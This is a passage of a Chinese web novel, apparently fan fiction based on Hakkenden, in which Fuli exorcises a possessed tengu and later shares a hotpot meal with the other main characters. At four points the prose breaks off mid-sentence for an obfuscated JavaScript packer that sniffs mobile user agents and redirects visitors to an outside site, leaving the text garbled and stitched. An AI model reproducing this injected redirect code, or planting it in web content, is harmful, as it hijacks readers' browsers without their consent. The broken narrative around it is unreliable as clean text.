这句话透露出的讯息稍微有点多,扶黎像是被一下子点醒,直直向对面看去,一双紫色眼瞳亮起微光,仔细看瞳孔外围多出了一圈银色光晕,非常奇特。 看完他意味深长地笑起来:“原来是被脏东西占了身体,我说怎么看着怪怪的。” 原本不断挣扎的绀忽然停下,这一刻它意识到抓住自己的不是普通人,甚至不是普通的除妖人,至少普通除妖人不能看穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128072|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这具身体的问题。 抓着它的人似乎找到了更新奇的玩具,随手一抛将它放走,径直朝对面傻傻站着的天狗走去。 绀顾不得其它,一边向后跑急于逃走,一边不忘大声提醒:“快跑,被抓住你就跑不了了,我是不会找人来救你的,老爷当时都说这具身体弄回来白费力气,绝对不会出力的,公主你就更别指望了!” 奈何天狗身体里的鬼玩意儿大概是真傻,又或者对自己新获得的身体过于自信,竟站在原地一动不动只咧嘴道:“跑什么跑,应该是他跑才对。” 绀彻底绝望,只好丢下他自己先溜为敬,反正是个累赘留着也没用,就是可惜了当初辛苦弄回来的身体。 天狗尚且不知自己大难临头,见扶黎冲他走过去还挑衅地笑了笑。 但下一秒他就笑不出来了,举重若轻的一指点在他额上,速度快到根本反应不过来,他想动一下,身体却像被封印在盒子里,连一根手指都动不了,他终于露出惊恐的神色,声音惊惶:“你要干什么?!放开我!” “少说废话,自己看不出来吗。”扶黎暗暗加强力量输出,银色的光芒在指间扩大,天狗体内的东西只感觉一股巨大的力量在将自己向外扯,即使再怎么用尽全力想留下来也不过是徒劳,只能自喉间发出痛苦的嘶鸣。 扶黎偏了偏头,今天这一天耳朵真是受到了莫大伤害,光听着尖叫一声又一声了。 看着面前双眼渐渐失去焦距的天狗,扶黎并没有放松,心里感叹幸好在地狱的时候有向鬼灯他们学上两手,不然还真是不好对付,但地狱专管鬼怪,正好能对上症状。 直到面前的天狗彻底失去动静,一缕黑烟自天狗身上飘出,扶黎这才移开指间,那缕黑烟也已成强弩之末,飘出没多远便自己散了,天狗也直挺挺倒了下去。 “哎呀,脸别摔坏了。”扶黎看着脸朝下的天狗连忙将人扒拉了一下,幸好这具身体够结实,一点事儿没有,除了有点泥巴。 ……………… 今天的租马行来了位大手笔的客人,本来只是租了店里最好档次的马已经能赚上一笔不错的利润,但出店时这位客人不知什么原因改成了买马,比市场价还高出了两成,老板当时就高高兴兴卖了出去。 这位大手笔的客人正是扶黎,本来他并没有买马的意思,但他能有什么办法呢,那位天狗倒在地上,总不能让他扛回去,一路上不定多少人盯着他瞧。 最后只能买匹马把人驮回去,为了接下来在这里的日常生活,有匹马也更方便一点。 进城时扶黎将天狗暂时藏在了城外一座小庙,担心那只黄鼠狼杀个回马枪,伪装和结界一个都没有少。 但回到庙里后扶黎才发现自己想多了,那只黄鼠狼是真的觉得天狗是个累赘,连回头看一眼的迹象也没有,大概也是坚信即便身体被夺回,想要唤醒身体的原主人也几乎是件不可能的事才会放任自流。 扶黎将天狗扶到马上,又用一块很大的布盖住,这才骑上马慢悠悠进了城。 15. 第 15 章 城中人流熙熙攘攘,扶黎不敢骑快马,只是坐在马上仿佛散步一样溜达过去。 到达古那屋的时候正是人流高峰期,扶黎将马停在后门 ,上前用力敲了敲,本来以为店里的人都在前面忙活,可能不会有人来应,没想到才敲了两下,门就被从里面打开了。 “谁啊?”一颗毛茸茸的脑袋从门缝里探出来,先是好奇地看了扶黎几眼:“从前面进比较好哦,平时这边都是没人的,敲死了也没人应,今天是运气好我正好经过。” 不知道是不是冥冥中自有注定,开门的居然正好是信乃,只是因为扶黎用了易容药,信乃并没有认出面前的人曾有过一面之缘。 扶黎也是一副并不认识他的模样,只转过身指了指马背上被布覆盖住的不明物体,略带歉意地解释道:“不好意思打搅了,今天过来是有事相求。” 将马上的布稍稍掀开一些:“我在城外遇见了一只天狗,因为一些原因他现在昏迷不醒,我又不能把他一个人留在那里,最后只能带回来,但安置成了问题,听说这边跟教会有点关系,就想着你们能不能帮忙处理一下。” 在听到天狗时信乃的表情就开始变化,扶黎说完后他更是迫不及待将盖布彻底掀开,天狗特有的银色长发露出,眉心的花印也和曾经一般鲜艳,果然是他! 缓缓舒了口气压下激动地心情,信乃放下掀起的盖布,回头严肃道:“这里不方便,我们进去说吧。” 扶黎面上不动声色地点点头,心里却已经乐开了花:看来这次赌对了,本来只是找个由头过来想试探一下,没想到自己偶然救下的天狗竟然和他们有关系的样子,真是无巧不成书。 从后门进入,再绕过一道低矮的围墙便是古那屋的后院 ,在这寸土寸金的地方还能拥有这么大一家店铺,甚至能留一个后院,店铺的老板娘也是家底不菲。 后院里种着不少花草,这个时节也盛开了许多,一进门便是满园芬芳,角落还有一小方池塘,几个闲人在院子里无所事事。 毛野站在池边有一茬没一茬地喂鱼,鱼都快吃撑了还喂,看他没有焦距的眼神就知道他心思完全不在这儿。 道节则是安安静静看着医书,总是黏在他身边的雪女今天难得不在。 剩下的就是庄介了,也是唯一一个正在做事的,端茶送水打扫庭院,简直和这里的气氛格格不入。 见信乃去了后院一趟,就不知道怎么带了个人还有一匹马回来,庄介连忙将手里还拿着的扫帚靠墙放下,紧走几步过去,先是看了看扶黎这才问道:“这位是?” 信乃摆摆手:“先不说这个,快找人去把仁喊回来,就说找到叶月了。” “叶月?”庄介乍一听见还有些反应不过来,很快想起仁在找的天狗就叫这个名字:“有线索了吗?那仁一定会很高兴。” “岂止。”信乃压抑不住兴奋地道:“人都已经带回来了。” 说着,信乃向旁边挪了一步将身后的扶黎让了出来,然后对着院子里的人“颐指气使”:“这就是将叶月带回来的人,你们别傻站着啊,至少给人家搬张椅子倒杯茶,别一个个光顾着自己!” 众人:你到底是以什么立场说出这样的话来的,平时多亏了庄介照顾的人最没资格。 虽然心里这样吐槽着,对于这位将天狗带回来的突然来客也有着诸多怀疑,但他们还是动起了一身懒骨头,毛野省事的直接从庄介端来的茶盘里端了一杯给扶黎,道节则让出了自己座位,最麻烦的任务果然还是落到了庄介头上。 庄介无奈地叹口气,只能自己出门找仁,现在店里的生意正好,想必是找不到人能替他跑腿的。 扶黎被紫色头发的青年引到位置坐下,他能感觉到这几位对他还有怀疑,这也是人之常情,换做是他也不会毫无怀疑地轻易接受,反而会觉得是敌人故意派来的试探吧。 目前场面还算和谐,院子里几位也在一边坐了下来,态度非常友好地和他聊着天,一方面是为了活跃气氛,不至于让客人感到冷场尴尬,另一方面就是想借此探听一下扶黎的真实目的。 可惜扶黎行得正坐得端压根不怕这种试探,再说本来就是天狗自己送上门,对此他可一点谎没说。 将自己遇到天狗的过程,包括那只会说话的黄鼠狼,其中剔除了去城外的原因详细讲了讲,因为都是真实发生过的,毛野他们也无法挑不出错处来。 说到这里扶黎突然想起来:“你们不去把天狗搬下来找个地方安置一下吗,我的马驮了这么长时间要休息一下了。” “啊!”信乃猛然惊醒,一下从椅子上跳起来:“我就说好像忘记了什么,你们两个快点帮忙把叶月弄下来啊,这么挂着肯定很不舒服,等仁回来了看到我们任由他的养父在这儿一直挂着,绝对会气死的!” 个头娇小的少年在马边绕来绕去,他的个头不够,连上马都困难更遑论将身材高大的天狗搬下。 “小不点让开,别在这儿碍手碍脚的。” 长着一张美人脸但说话剧毒无比的毛野气得信乃直跳脚,最让人生气的是他说的是实话,所以信乃也只能跳脚发发牢骚。 被抬下来的天狗双目紧闭,仿佛只是一具漂亮人偶,全然失去了他们初见时的嚣张狂妄,如果仁看见叶月现在的样子一定会难受,但总也好过见不到。 信乃向古那屋的老板娘借了一间空房间,垫好被褥后将叶月放好。 扶黎放下喝到一半的茶跟过去,小小的房间挤了三个人实在是不堪重负,扶黎只好站在门口往里看,见几人都忧心忡忡盯着天狗。 信乃摸着下巴:“是不是得请个医生过来。” “医生能给妖怪看病吗?你一个药材商应该接触了不少医生吧。” “呃,好像不行,那不然请四兽神家那五只狐狸帮帮忙?它们看起来知识很渊博的样子。” “知识渊博有什么用,每次都说不到点子上。” “死马当活马医吧,不然你还能有什么好办法。” “…………” 话题到这里便断掉了,显然他们最后只能屈服于现实,找各种值得一试的方法,这样到处撞撞运气或许会瞎猫碰上死耗子呢。 “那个……”一直在门口看热闹的扶黎终于忍不住出声了,在所有人都转头看向他时道:“他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128073|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识虽然因为被压制而陷入了沉睡,但天狗是毕竟是非人类身体素质极好,只要你们保护好他的身体不再被其它意识侵占,想必醒来是迟早的事情,只是时间早晚的问题。” 他的语气如此笃定,让人不由心安的同时却也引发了些许怀疑。 毛野露出待客时才有的笑容,仿佛只是随便问问般:“听起来您似乎很清楚这种事情,能再给我们讲讲吗?” 扶黎露出同样温柔的微笑:“不敢说特别了解,但确实因为一些原因有幸见识过,身体是意识的容器,很多时候外在的状况就能反映意识,这位天狗虽然曾经身受重伤,甚至一度被占用了躯体,但我查看过他身体上的伤口,一直在愈合结痂,现在已经好得七七八八了,那代表他的意识一定沉睡在身体深处。如果能做到身体的原主人死去,紧靠着外来意识就能维持生命体征,那么我只能说你们的敌人神明,不是活在地上与人为伍的神,而是真真正正高悬于天上或黄泉之下的神。” 说到这儿,扶黎微妙地停顿了一下:“如果真是那样,我想应该没必要绕着圈子给你们找麻烦。” 这番话听起来有些奇奇怪怪但确实有几分道理,几人的心情竟奇异的被安抚下来。 “既然你们有熟悉的相关人士,还是请过来看看比较保险。”扶黎又补充道:“至少问下怎么调养身体,他看着有点营养不良,估计失去意识这段时间没吃什么正经东西,伤口愈合得有些慢。” 只是现在对方还在昏迷,想调养都不知道怎么给他喂食物,够呛煮点补药慢慢灌进去。 信乃感到一阵头疼,之后肯定是仁来照看叶月,别到时候给他急哭了。 啊,也不用等到时候了,现在就可以看到他急哭的表情…… 信乃一转身便从窗户瞥见冲后院飞奔而来的仁,大概是今天的打工地点不远,回来的还算快。 即便隔着一段距离也能看到仁红红的眼眶,以及要掉不掉的泪珠。 很快便听到“嘭”一声屋门被打开,紧接着是急促的脚步声,飞奔而来的仁像是急切归巢的鸟,一刻都不能等待。 然而到了门口,他的脚步忽然慢了下来,仿佛近乡情怯又像是害怕一切都是幻觉,害怕这个天大的好消息是他听错了,害怕一进门里面什么也没有,他站在门边不敢挪脚。 “愣着干什么,傻了吗?”信乃大大咧咧的性格让他看不得这许多悲春伤秋,巴掌用力一拍就把人拱了进去。 仁几乎是被门槛绊进去的,还没来得及抱怨,许多天不见的身影便径自映入眼帘,让他一下子忘了该说什么。 那道身影看着消瘦了许多,嘴唇干巴巴的,雪白长发铺散开来,尽管失去了往常的嚣张粗鲁,但毋庸置疑确实是叶月! “叶月!”仁终于忍不住扑了过去,瘦瘦小小的身体伏在天狗身上发出细微的啜泣声。 几人默默离开关上房门,将空间留给两位久别重逢的亲人。 远远的,哭声越来越大,似乎想要将这么多天以来的悲伤思念全部发泄出去。 扶黎不太擅长这种彼此重逢感动落泪的催泪氛围,默默跟在了几人身后。 16. 第 16 章 距离扶黎正式和主角团接触已经过了将近一周,他们的关系一直维持着一个不远不近的距离,扶黎没有硬要融进去,但会经常去古那屋吃饭,要是遇上了大家也会聊上几句。 有了马之后秉承着不浪费的想法,晚上扶黎都会骑马到城外住的地方,和阿福他们一起吃晚饭。 就这么平稳地过度了几天,这天扶黎带着终于放下戒心的阿福和阿年进城里玩儿,两只小妖保持普通小孩的外貌,看着也就十岁上下,跟在扶黎身边就像是哥哥带着弟弟。 今天天气并不好,天色阴沉沉出门前还下过一场小雨,并不是出来玩的好时候,与此相对路上人少了许多,可以不用挤挤挨挨的在人流里穿梭,而且每一家店都不用等待,吃饭不用特意找人少的店,也算是另一种好处了。 天气渐渐凉了起来,吃个热腾腾的火锅正好,但这里和现世不一样,正处于一个很多美食还没有从外面传进来的时代,最多能吃个寿喜锅,不是很符合扶黎的口味。 不过没关系,方法总比困难多,出门前阿福和阿年将之前自己做的火锅底带了老大一块儿出来。 店里老板确认了好几次他们不需要锅底,只要新鲜食材和一壶热水,虽然很奇怪但既然是顾客要求,自然只能尽力满足。 很快锅子被端上来,食材也用小推车推过来放在餐桌边上,小推车一角是装着滚烫开水的水壶,老板叮嘱:“水很烫,请小心使用。” 老板很好奇他们到底要怎么吃,于是离开的时候一步三回头,到了柜台后还时不时探头看俩眼,今天生意不好嘛,正方便他偷懒观察客人。 然后他就看着那位客人打开一个包得方方正正的油纸袋,从里面拿出一块红通通的东西放到了锅里,再把热水浇上去,烧的滚烫碳很快将锅子里的说烧得冒气“咕嘟咕嘟”的泡泡,随之而来的还有一股呛人但却非常霸道的香气。 老板只闻出来里面有辣椒这种是个人都能闻出来的,其它的什么都没闻出来,香料味道太杂了,但味道实在吸引人,以至于其他客人以为他们店里出了新菜色,还来问能不能上一份让他们尝试一下,老板只能遗憾拒绝,表示这是客人自带店铺并不出售。 而另一边阿福正对着火锅擦嘴巴,满脸垂涎欲滴,但主人还没有先动筷子他们不好动。 阿年第一百零百次对阿福露出嫌弃的目光:平时是少你吃的了吗,怎么每次都这副没出息的样子! 扶黎看锅里差不多了,往里面下了点蔬菜和牛肉,自己吃也不讲究随便下,想吃哪个吃哪个。 阿福一看菜都下了锅,拿着筷子就兴冲冲去锅里捞。 “你干嘛呀,才下去三秒钟蔬菜都没烫熟,肉还是生的呢,你再等等!”阿年按住阿福的手,不让他继续在锅里捞来捞去。 扶黎忍笑:“没关系没关系,肉没熟生菜烫下就能吃,先吃菜。” “大人您就是人太好了。”阿年鼓了鼓腮帮子,但还是松开了按着的手:“明明也没少过他吃的,怎么每次都急吼吼的……” 阿福才不管阿年怎么说自己,他都习惯了,天大地大吃饭最大。 上好的牛肉切成薄薄一盘,在红汤里烫一烫肉迅速卷曲变成深色,光是这样吃就已经味道很好了,阿年还自己调了个碟子,蘸一蘸味道香的不得了。 三人埋头狂吃,可是苦了店里其他为数不多的客人,本来还算好吃的菜在这样霸道的香味袭击下顿时失去了胃口,总觉得没什么味道。 扶黎可不管这个,他们带的料本来就没多少,没得分给这些不认识的人,如果认识还能考虑一下下,毕竟这边香料不是很好找,也不能为了吃的老是回地狱那边,这样整得老贪吃,他的面子往哪里搁。 说曹操曹操就到,刚还想着认识的人可以分一点,下一秒认识的人就从门外面闻着味儿进来了。 清亮的少年音:“老板你们出新菜了,来一个尝尝呗?” 老板今天不知道多少次解释:“哎哟不是呀,这是客人自带的,我们店没有出新菜。” 问话的声音有点耳熟,扶黎好奇地回头看了一眼,这一眼正好和对方好奇看过来的视线对上。 身材娇小的少年顿时双眼一亮,他高高兴兴跑过来,眼神落在锅子上嘴里却道:“原来是你啊真巧,你在吃什么好吃的,我可以一起吗?” 一眼没看住就跑到别人面前讨吃的,庄介差点裂开,但还是努力稳住自己的标准笑容,疾步上前按住信乃的肩膀让他安分一点,然后对着扶黎满怀歉意道:“不好意思信乃今天没怎么吃饭所以有点饿过头了,别理他你们继续吃,我们去旁边点菜。” 信乃不高兴地哼唧一声,不是很想顺着庄介的意思去旁边吃,去旁边吃就是平时吃惯了的菜色,现在有更好的在旁边吊着,他哪来的胃口。 然而大事上庄介拗不过信乃,小事信乃也拗不过庄介,再怎么不乐意也得松口。 就在信乃蔫巴巴准备放弃的时候,扶黎却忽然开口:“可以啊,这边还有空位锅也很大,再加两个人完全没问题。” 嗨呀,正愁找不到机会和“主角团”加深联系,现在对方自己送上了门,扶黎怎么好意思拒绝。 信乃一双大眼睛重新亮了起来,他嘴里欢呼着快快乐乐给自己搬了张椅子加座,还不忘招呼庄介赶紧过来。 庄介:……又被迫丢脸的一天。 叹了口气,庄介把歪歪扭扭的信乃连人带凳子搬起放到一边,自己则在他身旁坐下,方便看管。 习惯了庄介对自己的过度管束,信乃眼皮子都没眨一下,倒是一旁的阿福、阿年叹为观止,对人类的物种多样性又多了一层新理解。 扶黎这边看看那边看看,不知想到什么,一双眼睛转了转不动声色问道:“你们今天还没吃过饭吗?现在都下午了,我们吃得算是比较晚的了。” 信乃摆摆手:“嗨,别提了,这不是冬天了嘛,本来很多动物在这个时候都销声匿迹了,结果昨天帝都不知从哪儿飞来一群蝴蝶,一路上好多人看见,整个帝传得沸沸扬扬有人说是好兆头,帝都的小妖怪私下里也一直窃窃私语讨论个不停,莉芳担心会出什么事,就让我和庄介顺道查一查。” 扶黎听着有点感兴趣,不禁问道:“有查到什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128074|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么吗?” 信乃耸耸肩:“跑了大半天连个蝴蝶影子都没看见,要不是很多人都信誓旦旦说看见了,描述蝴蝶外形也都大差不差,我会怀疑有人传谣。” 别的不提,用半天时间走遍整个帝都结果无功而返,是个人都会恼火,更别信乃这么个急性子加暴脾气,要不是还有庄介在旁边压压火,他现在能无差别扫射。 现在再次提起信乃的心情还有点被影响到了,他垂头丧气地夹起一块不知道谁下下去的牛肉,在扶黎还没来得及提醒有点辣可以涮一下碗里的清汤再吃的时候就塞进了嘴巴里。 “啊。” 扶黎微微睁大了眼。 下一秒,惊天动地的咳嗽声不出所料地响起,信乃一张脸咳得通红,捂着嘴痛苦的向前伸出一只手,对此已经习以为常的阿年淡定的从桌子下掏出来一桶奶,然后倒出一杯的量递了过去。 这杯奶简直是救命的奶,一杯下去辣意至少压下去一大半,虽然舌头上依旧残留着轻微痛意和麻感,但已经不影响正常的口腔作用。 扶黎有些抱歉地给他重新倒满了奶:“是不是有点辣?不做好准备就这么吃的话很容易呛到,我建议平时不怎么吃辣的人先涮一下清汤再入口会好很多,既能品尝到锅底的味道又不至于太辣而不能忍受。” 说着扶黎又拿了个杯子倒满,顺手递给坐在信乃身边的青年:“牛奶解辣,在旁边备上一杯,还有吃慢一点不然呛到气管会非常难受。” 庄介双手接过杯子,沉稳地道了声谢,扶黎干脆将整瓶奶都放在他们那边,自己这边三个都是吃惯了辣的不需要这个,喝点果汁就行。 两个不能吃辣的吃起来速度慢,为了照顾他们不让两人最后吃“剩饭”,扶黎特意放慢了速度,阿年也很有眼色地开始慢吞吞下筷,只有阿福傻乎乎埋头狂吃,不过问题不大,阿福比较能吃,等吃饱了还能悄咪咪往肚子里塞一点,他是看着别人在吃就绝对不能停下来的类型。 一顿饭吃了一个多小时,算是宾主尽欢,信乃拍拍自己鼓鼓的肚子,满足的打了个小小的嗝,虽然有点辣但味道是真的很好,要是隔上几天来这么一顿一定很好。 扶黎倒是有点担心他们忽然吃这么多辣的胃会受不了,别一回家就开始闹肚子,然后拉到菊花痛。 想了想便提醒道:“今天最好不要喝太冷的东西,晚上也吃清淡点,我怕你们胃受不了,拉肚子都是轻的。” 庄介受教应下,决定暂时看紧信乃。 信乃自己倒是对自己的身体状况信心百倍,他可是吃了滨路的黑暗料理还能活下来的人,吃点辣算什么! 甚至盘算着能不能问下这个配方是什么,但万一是人家的独门秘方可以做生意的那种,问了又不太好。 信乃纠结着纠结着,没发现自己心思早就写在脸上,没等他开口扶黎就先笑出了声:“哈哈哈看你这张脸皱的,是不是想知道这个料是怎么做的?” 信乃难得乖巧,一脸文静地点了点头。 庄介慢慢捂住脸,实在是不想承认这个为了一点吃的就装乖卖巧的人是自己的青梅竹马。 17. 第 17 章 阿年倒是很有经验的样子,因为总有人馋自家好吃的,主人又有点好说话,像这种小事只要对方能学会主人就不吝赐教,当然赐教过程由两只小妖代为执行。 阿年拿纸巾擦了擦嘴巴,矜持道:“家里有厨房吗?不介意的话可以去你们的家里现场亲自教学,但材料要你们准备,必备的我会列张单子,其他的可以等学会了你们自行添加材料按照自己的口味改良。” 信乃听完没过脑子就想一口答应下来,幸亏被庄介拦住了,庄介低声道:“要带外人回家得先问过四神兽家的绫音小姐,你还记得上次擅自闯入蛇神地盘时发生的事情吗?” “那都是很久之前的事了,而且绫音的脾气那么好,一定会同意的。”信乃自信道。 庄介忍不住扶额,只觉得脑袋被他气得抽疼:“这是礼貌问题,不是绫音小姐脾气好就可以不经同意擅自带人回去,而且就算绫音同意了,里见先生不同意的话也不行,他可是你的监护人,要是想再次被断零花钱那就算了,随便你。” “啊——”信乃长长吐了口气,平时就不爱考虑这些,现在听了一耳朵果然还是好麻烦呀。 “那要不然去古那屋借地方,我记得他们后院有个小厨房,平时也不怎么用,应该可以借过来。” 庄介叹气:“在此之前你应该先把材料准备好,没有材料要做什么,所以这件事下次再说。” 说着庄介抬头看向一旁仿佛在看热闹的扶黎,轻声道:“如果不嫌麻烦的话可以先给我们清单吗,教学则留待下次重新约好时间。” 扶黎一只手撑着下巴,笑眯眯道:“可以是可以,但我们一般都住在城外想联系没那么容易哦,进城的次数也不是很多,不过最近我会带着这俩小孩在这儿多住几天,你们准备好了就去半月馆,我们早晚都会在,其它时间就不一定了。” 约好之后,碍于庄介他们还有任务在身,两拨人便半路分开,扶黎带着阿福、阿年继续逛街,庄介和信乃则是继续苦哈哈满城巡视,抱着那群蝴蝶总会被他们撞见的微小期望。 但俗话说得好,越是想得到什么越是得不到,接下来几天不仅信乃和庄介没看到,就连有人见到过蝴蝶的传言都开始消失,仿佛自然消减了。 似乎一切都止于暗中,城中也渐渐变得风平浪静。 敌人不露头处在明面上的人自然没什么好办法,信乃只能安慰自己至少接下来能好好休息几天,至于其它的……船到桥头自然直。 不百忙之中还是有好消息的,之前信乃心心心念的调味料终于找齐了,虽然为此不得不向莉芳低下自己“高贵”的头颅,并签下一系列不平等条约,好在莉芳说话算话,事情答应下来便尽心尽力。 看在这点的份上,即使莉芳总是不假辞色,信乃也能时不时屁颠屁颠地去讨好一下。 …………………… “这么晚了你要去哪里?”刚结束一天工作回来的庄介一进门,便碰上了在门口换鞋的信乃,原本正脱外套的手瞬间顿住。 “嗯——”踢踢鞋头将脚怼进去,信乃站起身蹦了两蹦神采飞扬道:“去一趟半月馆,莉芳已经帮我把东西找齐了,我去约个时间。” 庄介:“现在去?这个时间点扶黎先生可能还在外面,就算去了也碰不上面。” “之前不是说过早上和晚上都在?” 庄介凭借自己过往的经验推算了一下,诚恳道:“你的时间观念和到帝都旅游的人应该不太一致,这个时间其实正是逛夜市的正当时,大多游客都会逛到很晚才回去休息,所以建议你九点再出门。” 信乃迟疑地看了眼挂在墙上的钟:“九点会不会太晚,已经是快深夜的时候了。” “不晚,这边的店铺九点才开始陆陆续续打烊,毕竟是让人帮忙,还是亲自碰个面的好,怎么,你是打算九点前就休息吗?” 信乃默默脱了鞋往回走,两只鞋被脱得东一只西一只,庄介无奈弯腰将鞋重新摆正,虽然这个保姆已经当了很多年,但偶尔还是会为此叹气。 被阻拦出门“大计”后,信乃小小闹了下别扭,然而庄介给他又是递果盘又是拿零食的,这股气很快就再也聚不起来,转而扭扭捏捏关心起庄介明天是不是还要早起工作,如果是的话九点他可以自己去,让庄介早点睡。 不过庄介显然不放心他晚上一个人在外面乱逛,上次一个人乱逛的后果是在帝都大闹一场差点丢了性命,还是里见莉芳及时赶到才没变成那样。 这之后庄介对信乃看得更严了,虽不至于步步紧跟、整日盯梢,但晚上出门肯定会不放心一些,不是自己跟着就是找其他人陪同。 信乃嘴上一百个不开心不乐意被管着,行动上却没有做出多大的反抗,甚至还会主动配合,某种意义上也是一个愿打一个愿挨。 就这么在家里干耗着,九点的钟声一响,沙发上东倒西歪的信乃立马一跃而起,兴冲冲就想往外跑,庄介追上去在门口抓住他胳膊将人拉回来,板着脸道:“今天外面刮风降温了,你这么出去是想冻死吗,先回去加件衣服。” 秋老虎的天气早已过去好几天,阴天下雨刮风才是最近的主调,温度也下降很多,深秋已在眼前。 开门的瞬间外界的寒意像是终于找到入口,疯狂向门内涌入,信乃将脸往围巾里埋了埋,厚实的围巾为他带来阵阵暖意,无孔不入的寒意也被阻挡在外。 就着这个缩头缩脑的姿势,信乃艰难转头:“要怎么去啊,外面风好大,我不想走过去了。” 庄介替他紧了紧围巾,手上动作温柔体贴嘴上却很是不留情,张口便刺了几句:“当年一个人冒雨上山找猿神的时候不嫌冷,今天只是刮了点风就开始受不了,我们如今是‘寄人篱下’,可没有马车汽车接送,你还是认命老老实实靠两条腿吧,离这里也不远,走走就暖和了。” “我今天已经走很多路了!而且靠走路暖和的话身上会出汗,我不想整个人变得黏糊糊,实在不行骑马去也行啊。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128075|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这是到晚上了,信乃的身体机能开始随着入睡时间的到来缓缓“下降”,要放白天別管是不是刮风就是下冰雹他都能跑过去、 庄介俯身拍拍他脑袋,语气轻柔地问:“骑马过去又不嫌冷了?” 信乃有自己的理由:“骑马快,就冷一会儿。” 庄介都要气笑了,干脆直接拉着人就往前走:“行了,走路不过十几分钟,你要是骑马还没等马牵出来套上马鞍,我们已经到了。” 信乃还想再挣扎挣扎,边被拖着往前走边扭头向后看,然而别墅里安安静静,往常爱凑热闹的要并未出现,顺理成章让要送他们一程的愿望也无法达成了。 慢悠悠走在路上,沿途的灯光忽明忽暗,映得脚下的路也时亮时黑,初时尚觉寒冷的夜风渐渐变得习惯起来,信乃将围巾扒拉下来一点,口中呼出的白汽在夜色下清晰可见。 化出原形的村雨蹲在少年肩上,眯着眼睛打瞌睡,深秋的寒意似乎对它毫无影响,困意让它的脑袋一点一点,偶尔还会发出不似鸟类的呼噜声。 信乃越听脸色越难看,最后干脆一把捏住了村雨的乌鸦嘴,睡得正香的村雨一个激灵猛然惊醒,迷迷糊糊甩了甩被捏紧的嘴巴,村雨睁大眼睛,喉咙里发出抗议的“嗬嗬”声。 信乃对此的反应是一个鄙视的眼神和暴躁的语气:“出来也是睡为什么不干脆待在我的手臂里,还有记住你现在是乌鸦,不要发出像猪一样的呼噜声,吵死了!” “啊,信乃,要呼吸不过来了——”村雨张开翅膀使劲扑腾,声音聒噪吵闹。 信乃迫不得已松开手,嫌弃地拍拍肩把村雨赶走,不让它落在自己肩膀上。 村雨在半空盘旋一圈,见免费座驾不让坐了,便落在庄介肩上。 放在平日它绝对不会落在除信乃之外的人身上,但今天信乃不让它落,它又不想进去手臂里待着,大半夜的还有点困,多重因素叠加的情况下,总是跟信乃在一起的人类显然是最好的选择。 庄介对落在肩上的村雨友好地笑了笑,即使他对村雨观感复杂,但不得不承认当年如果没有村雨,他和信乃早已死在那场大火之中,也不能如现在这般还能一起走在街道上,听着风声树叶声。 唯一的担忧便是在时间的长河中他们终有一天会一个个离开,到那时信乃还能坚强地活下去吗? 每每想到此处庄介总是忍不住心痛,仿佛那样的日子已在眼前。 信乃信奉活在当下,偶尔谈起这件事只说哪怕再来一次他还是同样的选择,比起在那时凄惨地死去他想抓紧一切,只要不是孤独一人,无论以何种面貌他都会坚强地活下去。 但如何才能永远不孤独一人,信乃能那么幸运地每次都等到那个一直陪伴着他的人吗?在每个陪伴他的人离去时,又能维持理智不崩溃吗? 所有想法瞬间挤满脑海,又在信乃回头看他时变成一个信念——一定要找到解开诅咒的办法,解不解咒则掌握在信乃手上,由他自己决定。 18. 第 18 章 天气实在糟糕,出门时不过刮刮风,这么一段路走过来不过十几分钟竟然又开始下雨,幸运的是到了半月馆雨才下大,不幸的是不知道回去的时候能不能停,不过再不济也能借把伞。 跟前台说过他们要找的人,店员很快就通知了对方。 青年似乎刚刚洗过澡,顶着一头半湿的发从回廊走出,在看见他们时便露出一个温暖的微笑快步朝这边走来,行动间带来一股淡淡的香气。 信乃摸摸鼻子,觉得这味道还怪好闻的,同时忍不住想到毛野明明和这位一样男生女相,怎么就一点人家的气质都没有,整天打打杀杀说话也粗鲁,搞得本来对他有好感的最后都幻灭,真是人比人得扔。 